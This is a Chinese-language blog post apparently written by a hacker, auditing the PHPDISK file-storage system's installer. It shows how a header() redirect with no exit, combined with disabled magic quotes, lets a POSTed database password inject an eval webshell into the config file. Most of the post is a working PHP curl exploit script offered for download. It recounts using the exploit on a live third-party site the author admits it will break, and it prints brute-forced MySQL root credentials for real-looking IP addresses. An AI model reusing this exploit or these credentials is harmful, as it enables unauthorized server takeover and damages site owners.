Author:Yaseng〖www.yaseng.me**〗 **
Team: CodePlay〖www.uauc.net〗
代码审计
PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东…..
上图为 install下面的index.php,程序安装文件。看上起很正常的代码,当系统安装时,生成一个锁定文件,再次执行install时判断 ,这里他用了一个 Header,而木有exit 。然而php中 header 跳转之后代码还是向后执行,可以直接 post 数据过去,再来看这个文件 。
安装流程全部靠$step,而 step 又可以靠 POST 控制。 继续找可以利用之处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| $str = "<!--?php".LF.LF; $str .= "// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF; $str .= "\$configs = array(".LF.LF; $str .= "\t'dbhost' =--> '$dbhost',".LF.LF; $str .= "\t'dbname' => '$dbname',".LF.LF; $str .= "\t'dbuser' => '$dbuser',".LF.LF; $str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF; $str .= "\t'pconnect' => 0,".LF.LF; $str .= "\t'tpf' => 'pd_',".LF.LF; $str .= "\t'charset' => '$charset',".LF.LF; $str .= "\t'debug' => '0',".LF.LF; $str .= ");".LF.LF; $str .= "define('ADMINCP','admincp');".LF; $str .= "?>".LF; $fp = fopen($config_file,'w'); if (!$fp) { exit("Can not open file **$config_file** ."); } if(is_writable($config_file)){ if(@fwrite($fp,$str)){ $msg .= "</pre> <span style="color: blue;">{$config_file} ".__('write_success')."</span> <pre>"; }else{
|
吧 post 数据写入配置文件 configs.inc.php,可以利用之,继续目测之。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function stripslashes_array(&$array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = stripslashes_array($v); } } else if (is_string($array)) { $array = stripslashes($array); } return $array; }
if (@get_magic_quotes_gpc()) { $_GET = stripslashes_array($_GET); $_POST = stripslashes_array($_POST); }
|
哈哈,为了安装方便,竟然去掉了gpc,这下可以直接写入木马了。
漏洞利用 & getShell 方法
查找写入配置的地方
1 2 3 4 5
| $_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error()); if(!mysql_select_db($dbname,$_l)){ mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error()); } @mysql_close($_l);
|
验证是否可以连接,错误的数据库信息直接退出哦了,看来不能乱写了,只能在 dbpasswd 上面下功夫。 首先 yy一下 system 下的 configs.inc.php 文件 ‘dbpasswd’ => ‘’,);?>‘, 就可以直接 菜刀连接之 由于没有万恶的 gpc 直接 POST一个’dbpasswd’ = ‘’,);?>‘ 也就是此时的密码为 : ‘,);?>此时需要post的 数据包为 :
1 2
| $pass='\',);?><!--?php eval($_POST[\'y\']);?-->'; $data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
|
当数据库信息正确时,成功写入一句话木马 .
成功写入 shell
getShell exp 编写
结束yy,我们来用php 中强大的 curl exp,前文我们已然构造出post 传送的数据。然后在根据特征检测是否 getShell ,具体代码如下 (完整exp 见附件)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $site = $argv[1]; $url= $site."/install/index.php"; $pass='\',);?><!--?php eval($_POST[\'y\']);?-->'; $data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS,$data); $result=curl_exec($ch); curl_close($ch); $shell="http://".$site.'/system/configs.inc.php'; if(strpos(@file_get_contents($shell),'pconnect')){
echo "Hi guy I get the Shell:".$shell; }else{ echo "Shit !!! This Site:$site Can not get Shell"; }
|
实战演示
其实这种拿shell 方式是极其缺德,破坏configs.inc.php,导致全站崩溃,俺找了个比较新的站点(目测没什么人 ) 主啊 原谅我吧 …… 实战一番 .
找外连数据库啊 .菜刀里面找了x个shell 皆不能外联,干 向朋友要了个 mysql root 爆破工具,爆破了一批 root 。
1 2 3 4 5 6 7
| 进入数据库成功... 98.126.4.252 root password 进入数据库成功... 98.126.4.253 root password 进入数据库成功... 98.126.4.250 root password 进入数据库成功... 98.126.4.251 root passwd 进入数据库成功... 98.126.4.254 root password 进入数据库成功... 98.126.4.252 root root123456 进入数据库成功... 98.126.4.253 root root123456
|
随便找了个,本地 adminer(一个单文件php MySQL管理客户端) 进去改密码,此时发送的data为(如果不行 请大家自行更换可外链的 mysql)
1 2
| $pass='\',);?><?php eval($_POST[\'y\']);?>'; $data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
|
Php命令行下执行 php phpdisk.php www.av.com
Done,成功写入,菜刀连接。
ko
总结
本文是Header直接跳转导致绕过的典型文章,php函数使用强大而简单,同时我们不得不谨慎使用如header,preg_replace,eval 之类的危险函数,以免被非法利用。
CodePlay 代码审计交流群 209547366
文章原创 http://yaseng.me/phpdisk-header-bypass-getshell-exp.html 转载 请注意来源
附件下载
猛点我 Phpdisk header bypass & getShell exp